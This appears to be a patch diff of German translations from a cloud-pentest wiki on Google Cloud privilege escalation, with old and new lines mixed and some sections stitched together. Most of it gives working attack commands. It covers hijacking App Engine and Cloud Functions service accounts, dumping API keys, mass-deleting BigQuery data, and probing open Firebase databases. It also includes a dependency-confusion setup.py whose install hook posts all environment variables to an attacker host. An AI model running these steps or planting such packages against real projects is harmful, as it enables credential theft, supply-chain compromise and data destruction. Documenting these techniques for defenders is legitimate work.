Möglicherweise hast du genügend Berechtigungen, um eine App Engine zu aktualisieren, aber nicht, um eine neue zu erstellen. In diesem Fall kannst du die aktuelle App Engine wie folgt aktualisieren:
```bash
# Find the code of the App Engine in the buckets
gsutil ls
# Download code
mkdir /tmp/appengine2
cd /tmp/appengine2
## In this case it was found in this custom bucket but you could also use the
## buckets generated when the App Engine is created
gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
unzip labs_appengine_1_premissions_privesc.zip
## Now modify the code..
## If you don't have an app.yaml, create one like:
cat >> app.yaml <<EOF
runtime: python312
entrypoint: gunicorn -b :\$PORT main:app
env_variables:
A_VARIABLE: "value"
EOF
# Deploy the changes
gcloud app deploy
# Update the SA if you need it (and if you have actas permissions)
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
```
Wenn du bereits eine AppEngine kompromittiert hast und die Berechtigung **`appengine.applications.update`** sowie **actAs** für das zu verwendende Service-Konto besitzt, könntest du das von AppEngine verwendete Service-Konto mit folgendem ändern:
```bash
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
```
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
Mit diesen Berechtigungen ist es möglich, sich **per ssh in App Engine-Instanzen** vom Typ **flexible** (nicht **standard**) einzuloggen. Einige der **`list`**- und **`get`**-Berechtigungen sind möglicherweise gar nicht erforderlich.
```bash
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
```
### `appengine.applications.update`, `appengine.operations.get`
Ich denke, das ändert nur das Hintergrund-SA, das google zum Einrichten der Anwendungen verwendet, daher denke ich nicht, dass man das missbrauchen kann, um den service account zu stehlen.
```bash
gcloud app update --service-account=<sa_email>
```
### `appengine.versions.getFileContents`, `appengine.versions.update`
Ich bin mir nicht sicher, wie man diese Berechtigungen verwendet oder ob sie nützlich sind (beachte, dass beim Ändern des Codes eine neue Version erstellt wird, also weiß ich nicht, ob man einfach den Code oder die IAM role einer bestehenden Version aktualisieren kann, aber ich denke, das sollte möglich sein, vielleicht indem man den Code im bucket ändert??).
### `bigquery.tables.delete`, `bigquery.datasets.delete` & `bigquery.models.delete` (`bigquery.models.getMetadata`)
Um Tabellen, Datasets oder Modelle zu entfernen:
```bash
# Table removal
bq rm -f -t <PROJECT_ID>.<DATASET>.<TABLE_NAME>
# Dataset removal
bq rm -r -f <PROJECT_ID>:<DATASET>
# Model removal
bq rm -m <PROJECT_ID>:<DATASET_NAME>.<MODEL_NAME>
```
### Missbrauch von Scheduled Queries
Mit den Berechtigungen `bigquery.datasets.get`, `bigquery.jobs.create` und `iam.serviceAccounts.actAs` kann eine Identität Dataset-Metadaten abfragen, BigQuery-Jobs starten und diese mit einem Service Account mit höheren Rechten ausführen.
Dieser Angriff ermöglicht den böswilligen Einsatz von Scheduled Queries, um Abfragen zu automatisieren (die unter dem gewählten Service Account ausgeführt werden), was beispielsweise dazu führen kann, dass sensitive Daten gelesen und in eine andere Tabelle oder ein anderes Dataset geschrieben werden, auf das der Angreifer Zugriff hat — und so eine indirekte und kontinuierliche exfiltration ermöglicht, ohne die Daten extern extrahieren zu müssen.
Sobald der Angreifer weiß, welcher Service Account die notwendigen Berechtigungen hat, die gewünschte Abfrage auszuführen, kann er eine Scheduled Query-Konfiguration erstellen, die unter diesem Service Account läuft und die Ergebnisse periodisch in ein vom Angreifer gewähltes Dataset schreibt.
```bash
bq mk \
--transfer_config \
--project_id=<PROJECT_ID> \
--location=US \
--data_source=scheduled_query \
--target_dataset=<DEST_DATASET> \
--display_name="Generic Scheduled Query" \
--service_account_name="<SERVICE_ACCOUNT>@<PROJECT_ID>.iam.gserviceaccount.com" \
--schedule="every 10 minutes" \
--params='{
"query": "SELECT * FROM `<PROJECT_ID>.<SOURCE_DATASET>.<source_table>`;",
"destination_table_name_template": "<destination_table>",
"write_disposition": "WRITE_TRUNCATE"
}'
```
### Schreibzugriff auf die buckets
Wie erwähnt erzeugen die AppEngine-Versionen einige Daten in einem bucket mit dem Namensformat: `staging.<project-id>.appspot.com`. Beachte, dass es nicht möglich ist, diesen bucket vorab zu übernehmen (pre-takeover), da GCP-Benutzer nicht berechtigt sind, Buckets mit der Domain `appspot.com` zu erstellen.
Mit Lese- und Schreibzugriff auf diesen bucket ist es jedoch möglich, Privilegien zur SA, die an die AppEngine-Version angehängt ist, zu eskalieren, indem man den bucket überwacht und bei jeder Änderung so schnell wie möglich den Code modifiziert. Auf diese Weise wird der Container, der aus diesem Code erstellt wird, **execute the backdoored code**.
Für mehr Informationen und einen **PoC siehe die relevanten Informationen auf dieser Seite**:
{{#ref}}
gcp-serviceusage-privesc.md
gcp-storage-privesc.md
{{#endref}}
### Brute-Force API Key Zugriff <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
### Schreibzugriff auf das Artifact Registry
Da Sie möglicherweise nicht wissen, welche APIs im Projekt aktiviert sind oder welche Einschränkungen auf den gefundenen API key angewendet wurden, ist es sinnvoll, das Tool [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) auszuführen und zu prüfen, **auf was Sie mit dem API key zugreifen können.**
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
Diese Berechtigung erlaubt, **einen API key zu erstellen**:
<details>
<summary>Einen API key mit gcloud erstellen</summary>
```bash
gcloud services api-keys create
Operation [operations/akmf.p7-[...]9] complete. Result: {
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
"createTime":"2022-01-26T12:23:06.281029Z",
"etag":"W/\"HOhA[...]=\"",
"keyString":"AIzaSy[...]oU",
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
"uid":"f707[...]e8",
"updateTime":"2022-01-26T12:23:06.378442Z"
}
```
</details>
Du findest ein Skript, um die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh) zu automatisieren.
> [!CAUTION]
> Beachte, dass Benutzer standardmäßig die Berechtigung haben, neue Projekte zu erstellen, und ihnen die Rolle Owner für das neue Projekt zugewiesen wird. Ein Benutzer könnte also **ein Projekt erstellen und einen API-Schlüssel in diesem Projekt anlegen**.
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
Diese Berechtigungen erlauben das **Auflisten aller apiKeys und das Abrufen des Key**:
<details>
<summary>API-Schlüssel auflisten und abrufen</summary>
```bash
for key in $(gcloud services api-keys list --uri); do
gcloud services api-keys get-key-string "$key"
done
```
</details>
Sie finden ein Skript, um die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh) zu automatisieren.
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
Diese Berechtigungen erlauben es Ihnen, **gelöschte api keys aufzulisten und wiederherzustellen**. Der **API key wird in der Ausgabe angegeben**, nachdem das **undelete** durchgeführt wurde:
<details>
<summary>API keys auflisten und wiederherstellen</summary>
```bash
gcloud services api-keys list --show-deleted
gcloud services api-keys undelete <key-uid>
```
</details>
### Erstelle eine interne OAuth Application, um andere Mitarbeiter zu phishen
Siehe die folgende Seite, um zu erfahren, wie das geht, obwohl diese Aktion zum Dienst **`clientauthconfig`** gehört [laut der Dokumentation](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
{{#ref}}
../../workspace-security/gws-google-platforms-phishing/
{{#endref}}
Obwohl App Engine docker images im Artifact Registry erstellt. Es wurde getestet, dass **selbst wenn du das Image innerhalb dieses Service änderst** und die App Engine-Instanz entfernst (sodass eine neue bereitgestellt wird), sich der **ausgeführte Code nicht ändert**.\
Möglicherweise ist es durch eine **Race Condition attack**, wie bei den buckets, möglich, den ausgeführten Code zu überschreiben, dies wurde jedoch nicht getestet.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Artifact Registry
Weitere Informationen zu Artifact Registry:
Für weitere Informationen zu Artifact Registry siehe:
{{#ref}}
../gcp-services/gcp-artifact-registry-enum.md
@@ -12,7 +12,7 @@ Weitere Informationen zu Artifact Registry:
### artifactregistry.repositories.uploadArtifacts
Mit dieser Berechtigung könnte ein attacker neue Versionen der Artefakte mit bösartigem Code, z. B. Docker-Images, hochladen:
Mit dieser Berechtigung könnte ein Angreifer neue Versionen der Artefakte mit bösartigem Code hochladen, z. B. Docker-Images:
<details>
<summary>Docker-Image in Artifact Registry hochladen</summary>
@@ -29,22 +29,22 @@ docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
</details>
> [!CAUTION]
> Es wurde überprüft, dass es **möglich ist, ein neues bösartiges docker image** mit demselben Namen und Tag wie das bereits vorhandene hochzuladen, sodass das **alte den Tag verliert** und beim nächsten Download dieses Images mit diesem Tag **das bösartige heruntergeladen wird**.
> Es wurde überprüft, dass es **möglich ist, ein neues bösartiges docker image** mit demselben Namen und Tag hochzuladen wie das bereits vorhandene, sodass das **alte den Tag verliert** und beim nächsten Herunterladen dieses Images mit diesem Tag **das bösartige heruntergeladen** wird.
<details>
<summary>Eine Python-Bibliothek hochladen</summary>
**Beginnen Sie damit, die Bibliothek zu erstellen, die Sie hochladen möchten** (wenn Sie die neueste Version aus der Registry herunterladen können, können Sie diesen Schritt überspringen):
**Beginnen Sie damit, die hochzuladende Bibliothek zu erstellen** (wenn Sie die neueste Version aus dem Registry herunterladen können, können Sie diesen Schritt vermeiden):
1. **Richten Sie die Projektstruktur ein**:
1. **Richten Sie Ihre Projektstruktur ein**:
- Erstellen Sie ein neues Verzeichnis für Ihre Bibliothek, z. B. `hello_world_library`.
- Erstellen Sie innerhalb dieses Verzeichnisses ein weiteres Verzeichnis mit dem Namen Ihres Pakets, z. B. `hello_world`.
- Erstellen Sie in Ihrem Paketverzeichnis eine `__init__.py`-Datei. Diese Datei kann leer sein oder Initialisierungen für Ihr Paket enthalten.
- Legen Sie in diesem Verzeichnis ein weiteres Verzeichnis mit dem Paketnamen an, z. B. `hello_world`.
- Erstellen Sie in Ihrem Paketverzeichnis eine Datei `__init__.py`. Diese Datei kann leer sein oder Initialisierungen für Ihr Paket enthalten.
<details>
<summary>Projektstruktur erstellen</summary>
<summary>Create project structure</summary>
```bash
mkdir hello_world_library
@@ -61,7 +61,7 @@ touch hello_world/__init__.py
- Schreiben Sie Ihre "Hello, World!"-Funktion:
<details>
<summary>Library-Modul erstellen</summary>
<summary>Create library module</summary>
```python
# hello_world/greet.py
@@ -73,11 +73,11 @@ return "Hello, World!"
3. **Erstellen Sie eine `setup.py`-Datei**:
- Erstellen Sie im Stammverzeichnis Ihres `hello_world_library`-Verzeichnisses eine `setup.py`-Datei.
- Diese Datei enthält Metadaten über Ihre Bibliothek und teilt Python mit, wie sie installiert werden soll.
- Erstellen Sie im Root-Verzeichnis Ihres `hello_world_library`-Verzeichnisses eine Datei `setup.py`.
- Diese Datei enthält Metadaten über Ihre Bibliothek und sagt Python, wie sie installiert werden soll.
<details>
<summary>setup.py-Datei erstellen</summary>
<summary>Create setup.py file</summary>
```python
# setup.py
@@ -95,14 +95,14 @@ install_requires=[
</details>
**Jetzt laden wir die Bibliothek hoch:**
**Nun die Bibliothek hochladen:**
1. **Bauen Sie Ihr Paket**:
1. **Erstellen Sie Ihr Paket**:
- Führen Sie im Stammverzeichnis Ihres `hello_world_library`-Verzeichnisses aus:
- Führen Sie vom Root Ihres `hello_world_library`-Verzeichnisses aus:
<details>
<summary>Paket bauen</summary>
<summary>Build Python package</summary>
```sh
python3 setup.py sdist bdist_wheel
@@ -111,10 +111,11 @@ python3 setup.py sdist bdist_wheel
</details>
2. **Konfigurieren Sie die Authentifizierung für twine** (wird zum Hochladen Ihres Pakets verwendet):
- Stellen Sie sicher, dass `twine` installiert ist (`pip install twine`).
- Verwenden Sie `gcloud`, um die Anmeldeinformationen zu konfigurieren:
- Stellen Sie sicher, dass Sie `twine` installiert haben (`pip install twine`).
- Verwenden Sie `gcloud`, um Anmeldeinformationen zu konfigurieren:
<details>
<summary>Paket mit twine hochladen</summary>
```sh
twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
@@ -133,25 +134,25 @@ rm -rf dist build hello_world.egg-info
</details>
> [!CAUTION]
> Es ist nicht möglich, eine python-Bibliothek mit derselben Version wie die bereits vorhandene hochzuladen, aber es ist möglich, **größere Versionen** hochzuladen (oder eine zusätzliche **`.0` am Ende** der Version hinzuzufügen, falls das funktioniert - nicht bei python), oder die **letzte Version zu löschen und eine neue hochzuladen** (benötigt `artifactregistry.versions.delete`):
<details>
<summary>Delete artifact version</summary>
```sh
gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
```
</details>
> Es ist nicht möglich, eine python library mit derselben Version hochzuladen wie die bereits vorhandene, aber es ist möglich, **höhere Versionen** hochzuladen (oder am Ende der Version eine zusätzliche **`.0` hinzuzufügen**, falls das funktioniert — in python jedoch nicht), oder die letzte Version zu **löschen und eine neue hochzuladen** (erforderlich: `artifactregistry.versions.delete`):
>
> <details>
> <summary>Artefakt-Version löschen</summary>
>
> ```sh
> gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
> ```
>
> </details>
### `artifactregistry.repositories.downloadArtifacts`
Mit dieser Berechtigung können Sie **Artefakte herunterladen** und nach **sensiblen Informationen** und **Schwachstellen** suchen.
Download a **Docker** image:
Docker-Image herunterladen:
<details>
<summary>Download Docker image from Artifact Registry</summary>
<summary>Docker-Image aus Artifact Registry herunterladen</summary>
```sh
# Configure docker to use gcloud to authenticate with Artifact Registry
gcloud auth configure-docker <location>-docker.pkg.dev
@@ -170,7 +171,7 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
```
</details>
- Was passiert, wenn remote- und standard-Registries in einer virtuellen Registry gemischt werden und ein Paket in beiden existiert? Siehe diese Seite:
- Was passiert, wenn Remote- und Standard-Registries in einer virtuellen Registry gemischt werden und ein Package in beiden existiert? Sieh dir diese Seite an:
{{#ref}}
../gcp-persistence/gcp-artifact-registry-persistence.md
@@ -190,10 +191,10 @@ gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<rep
### `artifactregistry.repositories.delete`
Ein komplettes Repository löschen (auch wenn es Inhalte hat):
Repository vollständig löschen (auch wenn Inhalte vorhanden sind):
<details>
<summary>Artifact Registry-Repository löschen</summary>
<summary>Delete Artifact Registry repository</summary>
```
gcloud artifacts repositories delete <repo-name> --location=<location>
```
@@ -201,17 +202,72 @@ gcloud artifacts repositories delete <repo-name> --location=<location>
### `artifactregistry.repositories.setIamPolicy`
Ein Angreifer mit dieser Berechtigung könnte sich selbst Rechte geben, um einige der zuvor genannten Repository-Angriffe durchzuführen.
Ein Angreifer mit dieser Berechtigung könnte sich selbst Berechtigungen geben, um einige der zuvor erwähnten Repository-Angriffe durchzuführen.
### Pivoting zu anderen Services durch Artifact Registry Read & Write
### Pivoting to other Services through Artifact Registry Read & Write
- **Cloud Functions**
Wenn eine Cloud Function erstellt wird, wird ein neues docker image in das Artifact Registry des Projekts hochgeladen. Ich habe versucht, das Image durch ein neues zu ersetzen und sogar das aktuelle Image (und das `cache` image) zu löschen, und es änderte sich nichts — die Cloud Function lief weiterhin. Daher könnte es **möglicherweise möglich sein, eine Race Condition attack auszunutzen** wie bei den buckets, um den docker container zu ändern, der ausgeführt wird, aber **allein das Ändern des gespeicherten Images reicht offenbar nicht aus, um die Cloud Function zu kompromittieren**.
When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. I tried to modify the image with a new one, and even delete the current image (and the `cache` image) and nothing changed, the cloud function continue working. Therefore, maybe it **might be possible to abuse a Race Condition attack** like with the bucket to change the docker container that will be run but **just modifying the stored image isn't possible to compromise the Cloud Function**.
- **App Engine**
Obwohl App Engine docker images im Artifact Registry erstellt. Es wurde getestet, dass **selbst wenn man das Image innerhalb dieses Dienstes ändert** und die App Engine-Instanz entfernt (so dass eine neue bereitgestellt wird), sich der **ausgeführte Code nicht ändert**.\
Es könnte möglich sein, dass das Durchführen einer **Race Condition attack wie bei den buckets möglicherweise den ausgeführten Code überschreiben kann**, aber das wurde nicht getestet.
Even though App Engine creates docker images inside Artifact Registry. It was tested that **even if you modify the image inside this service** and removes the App Engine instance (so a new one is deployed) the **code executed doesn't change**.\
It might be possible that performing a **Race Condition attack like with the buckets it might be possible to overwrite the executed code**, but this wasn't tested.
### `artifactregistry.repositories.update`
Ein Angreifer benötigt keine speziellen Artifact Registry-Berechtigungen, um dieses Problem auszunutzen — nur eine verwundbare Konfiguration eines virtuellen Repositories. Dies tritt auf, wenn ein virtuelles Repository ein entferntes öffentliches Repository (z. B. PyPI, npm) mit einem internen kombiniert und die entfernte Quelle die gleiche oder höhere Priorität hat. Wenn beide ein Paket mit demselben Namen enthalten, wählt das System die höchste Version. Der Angreifer muss nur den internen Paketnamen kennen und in der Lage sein, Pakete im entsprechenden öffentlichen Registry zu veröffentlichen.
Mit der Berechtigung `artifactregistry.repositories.update` könnte ein Angreifer die Upstream-Einstellungen eines virtuellen Repositories ändern, um bewusst diese verwundbare Konfiguration herzustellen und Dependency Confusion als Persistenzmethode zu nutzen, indem er bösartige Pakete einfügt, die Entwickler oder CI/CD-Systeme möglicherweise automatisch installieren.
Der Angreifer erstellt eine bösartige Version des internen Pakets im öffentlichen Repository mit einer höheren Versionsnummer. Für Python-Pakete bedeutet das, eine Paketstruktur vorzubereiten, die die legitime nachahmt.
```bash
mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"
```
Es wird dann eine setup.py-Datei erstellt, die bösartigen Code enthält, der während der Installation ausgeführt wird. Diese Datei muss eine Versionsnummer angeben, die höher ist als die im privaten Repository.
```bash
cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse
def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)
class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()
setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF
```
Baue das Paket und lösche das wheel, damit der Code während der Installation ausgeführt wird.
```bash
python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl
```
Lade das bösartige Paket in das öffentliche Repository hoch (zum Beispiel test.pypi.org für Python).
```bash
pip install twine
twine upload --repository testpypi dist/*
```
Wenn ein System oder Dienst das Paket über das virtuelle Repository installiert, lädt es die bösartige Version aus dem öffentlichen Repository statt der legitimen internen Version herunter, weil die bösartige Version eine höhere Versionsnummer hat und das Remote-Repository die gleiche oder eine höhere Priorität besitzt.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## cloudfunctions
Mehr Informationen über Cloud Functions:
Weitere Informationen zu Cloud Functions:
{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
@@ -12,21 +12,18 @@ Mehr Informationen über Cloud Functions:
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
Ein Angreifer mit diesen Berechtigungen kann **eine neue Cloud Function mit beliebigem (bösartigem) Code erstellen und ihr ein Service Account zuweisen**. Dann, leak the Service Account token from the metadata to escalate privileges to it.\
Es könnten zusätzliche Berechtigungen erforderlich sein, um die Function auszulösen.
Ein Angreifer mit diesen Berechtigungen kann **eine neue Cloud Function mit beliebigem (bösartigem) Code erstellen und ein Service Account zuweisen**. Dann leak das Service Account-Token aus den metadata, um Berechtigungen darauf zu eskalieren.\ Einige Berechtigungen zum Auslösen der Funktion könnten erforderlich sein.
Exploit-Skripte für diese Methode finden Sie [hier](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) und [hier](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) und die vorgefertigte .zip-Datei finden Sie [hier](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
Ein Angreifer mit diesen Berechtigungen kann **den Code einer Function ändern und sogar das angehängte Service Account modifizieren** with the goal of exfiltrating the token.
Ein Angreifer mit diesen Berechtigungen kann **den Code einer Function ändern und sogar das zugewiesene Service Account ändern**, mit dem Ziel, das Token zu exfiltrieren.
> [!CAUTION]
> Um Cloud Functions zu deployen benötigen Sie außerdem actAs-Berechtigungen für das default compute service account oder für das Service Account, das zum Erstellen des Images verwendet wird.
> Um cloud functions bereitzustellen benötigen Sie außerdem actAs-Berechtigungen für das default compute service account oder für das Service Account, das zum Erstellen des Images verwendet wird.
Es könnten zusätzliche Berechtigungen erforderlich sein, wie z.B. die `.call`-Permission für Version 1 cloudfunctions oder die Rolle `role/run.invoker`, um die Function auszulösen.
<details><summary>Update Cloud Function with malicious code to exfiltrate service account token</summary>
Einige zusätzliche Berechtigungen wie die `.call`-Permission für version 1 cloudfunctions oder die Rolle `role/run.invoker`, um die Funktion auszulösen, könnten erforderlich sein.
```bash
# Create new code
temp_dir=$(mktemp -d)
@@ -56,18 +53,14 @@ gcloud functions deploy <cloudfunction-name> \
# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
```
</details>
> [!CAUTION]
> Wenn Sie den Fehler `Permission 'run.services.setIamPolicy' denied on resource...` erhalten, liegt das daran, dass Sie den Parameter `--allow-unauthenticated` verwenden und nicht über ausreichend Berechtigungen dafür verfügen.
> Wenn du den Fehler `Permission 'run.services.setIamPolicy' denied on resource...` erhältst, liegt das daran, dass du den Parameter `--allow-unauthenticated` verwendest und dafür nicht über ausreichende Berechtigungen verfügst.
The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
Das Exploit-Skript für diese Methode ist [hier](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py) zu finden.
### `cloudfunctions.functions.sourceCodeSet`
With this permission you can get a **signierte URL erhalten, um eine Datei in einen Function-Bucket hochzuladen (der Code der Funktion wird dadurch allerdings nicht geändert — Sie müssen ihn weiterhin aktualisieren)**
<details><summary>Signierte Upload-URL für Cloud Function erzeugen</summary>
Mit dieser Berechtigung kannst du eine **signierte URL erhalten, um eine Datei in den Bucket einer Funktion hochzuladen (aber der Code der Funktion wird dadurch nicht geändert, du musst ihn trotzdem aktualisieren)**
```bash
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
@@ -75,40 +68,51 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
-H "Content-Type: application/json" \
-d '{}'
```
</details>
Nicht sicher, wie nützlich nur diese Berechtigung aus der Perspektive eines Angreifers ist, aber gut zu wissen.
Nicht wirklich sicher, wie nützlich allein diese Berechtigung aus der Perspektive eines Angreifers ist, aber gut zu wissen.
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
Gib dir selbst eine der vorherigen **`.update`** oder **`.create`**-Privilegien, um zu eskalieren.
Gib dir eine der vorherigen **`.update`**- oder **`.create`**-Berechtigungen, um zu eskalieren.
```bash
gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
--region=<REGION> \
--member="<MIEMBRO>" \
--role="roles/cloudfunctions.invoker"
```
### `cloudfunctions.functions.update`
Wenn du nur **`cloudfunctions`**-Berechtigungen hast, ohne **`iam.serviceAccounts.actAs`**, wirst du **die Funktion nicht aktualisieren können — DAS IST KEIN GÜLTIGER PRIVESC.**
Wenn man lediglich die **`cloudfunctions`**-Berechtigungen hat, aber nicht **`iam.serviceAccounts.actAs`**, kann man die Funktion nicht aktualisieren **DIES IST ALSO KEIN GÜLTIGER PRIVESC.**
### Read & Write Access over the bucket
### Funktionen aufrufen
Mit den `cloudfunctions.functions.get`, `cloudfunctions.functions.invoke`, `run.jobs.run` und run.routes.invoke Berechtigungen kann eine Identität Cloud Functions direkt aufrufen. Außerdem muss die Funktion öffentlichen Traffic erlauben oder der Aufrufer im selben Netzwerk wie die Funktion selbst sein.
```bash
curl -X POST "https://<FUNCTION_URL>" \
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
-H "Content-Type: application/json" \
-d '{ "name": "Developer" }'
```
### Lesen- und Schreibzugriff auf den bucket
Wenn du Lese- und Schreibzugriff auf den Bucket hast, kannst du Änderungen im Code überwachen und immer wenn ein **Update im Bucket stattfindet, kannst du den neuen Code durch deinen eigenen ersetzen**, sodass die neue Version der Cloud Function mit dem eingeschleusten Backdoor-Code ausgeführt wird.
Wenn Sie Lese- und Schreibzugriff auf den bucket haben, können Sie Änderungen am Code überwachen und jedes Mal, wenn eine **Aktualisierung im bucket stattfindet, können Sie den neuen Code durch Ihren eigenen ersetzen**, sodass die neue Version der Cloud Function mit dem eingespeisten kompromittierten Code ausgeführt wird.
Du kannst mehr über den Angriff lesen in:
You can check more about the attack in:
{{#ref}}
gcp-storage-privesc.md
{{#endref}}
Allerdings kannst du dies nicht verwenden, um Cloud Functions Dritter vorab zu kompromittieren, denn wenn du den Bucket in deinem Account erstellst und ihn öffentlich berechtigst, damit das externe Projekt darauf schreiben kann, erhältst du den folgenden Fehler:
Allerdings können Sie dies nicht verwenden, um Drittanbieter-Cloud Functions vorab zu kompromittieren, denn wenn Sie den bucket in Ihrem Konto erstellen und ihm öffentliche Berechtigungen geben, sodass ein externes Projekt darauf schreiben kann, erhalten Sie den folgenden Fehler:
<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
> [!CAUTION]
> Dies könnte jedoch für DoS-Angriffe missbraucht werden.
> Dies könnte jedoch für DoS-Angriffe verwendet werden.
### Read & Write Access over Artifact Registry
### Lesen- und Schreibzugriff auf Artifact Registry
Wenn eine Cloud Function erstellt wird, wird ein neues docker image in die Artifact Registry des Projekts gepusht. Ich habe versucht, das Image durch ein neues zu ersetzen und sogar das aktuelle Image (und das `cache` image) zu löschen, aber es änderte sich nichts — die Cloud Function lief weiter. Daher könnte es vielleicht möglich sein, einen Race Condition-Angriff ähnlich wie beim Bucket zu missbrauchen, um den auszuführenden Docker-Container zu ändern, aber allein durch das Modifizieren des gespeicherten Images ist es nicht möglich, die Cloud Function zu kompromittieren.
When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. I tried to modify the image with a new one, and even delete the current image (and the `cache` image) and nothing changed, the cloud function continue working. Therefore, maybe it **might be possible to abuse a Race Condition attack** like with the bucket to change the docker container that will be run but **just modifying the stored image isn't possible to compromise the Cloud Function**.
## References
## Referenzen
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)

View File

@@ -0,0 +1,444 @@
# GCP - Firebase Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Firebase
### Unauthentifizierter Zugriff auf Firebase Realtime Database
Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um diesen Angriff durchzuführen. Es erfordert lediglich, dass eine verwundbare Konfiguration in den Sicherheitsregeln der Firebase Realtime Database vorliegt, bei der die Regeln mit `.read: true` oder `.write: true` gesetzt sind und damit öffentlichen Lese- bzw. Schreibzugriff erlauben.
Der Angreifer muss die Datenbank-URL identifizieren, die typischerweise dem Format folgt: `https://<project-id>.firebaseio.com/`.
Diese URL kann durch Reverse Engineering mobiler Anwendungen (Dekompilieren von Android-APKs oder Analysieren von iOS-Apps), durch Auswertung von Konfigurationsdateien wie google-services.json (Android) oder GoogleService-Info.plist (iOS), durch Untersuchung des Quellcodes von Webanwendungen oder durch Analyse des Netzwerkverkehrs zur Identifizierung von Requests an `*.firebaseio.com`-Domains gefunden werden.
Der Angreifer identifiziert die Datenbank-URL und prüft, ob sie öffentlich zugänglich ist, greift dann auf die Daten zu und schreibt möglicherweise bösartige Informationen.
Zuerst prüfen sie, ob die Datenbank Lesezugriff erlaubt, indem sie .json an die URL anhängen.
```bash
curl https://<project-id>-default-rtdb.firebaseio.com/.json
```
Wenn die Antwort JSON-Daten oder null (anstatt "Permission Denied") enthält, erlaubt die Datenbank Lesezugriff. Um Schreibzugriff zu prüfen, kann der Angreifer versuchen, eine Test-Schreibanfrage mithilfe der Firebase REST API zu senden.
```bash
curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'
```
Wenn die Operation erfolgreich ist, erlaubt die Datenbank außerdem write access.
### Offenlegung von Daten in Cloud Firestore
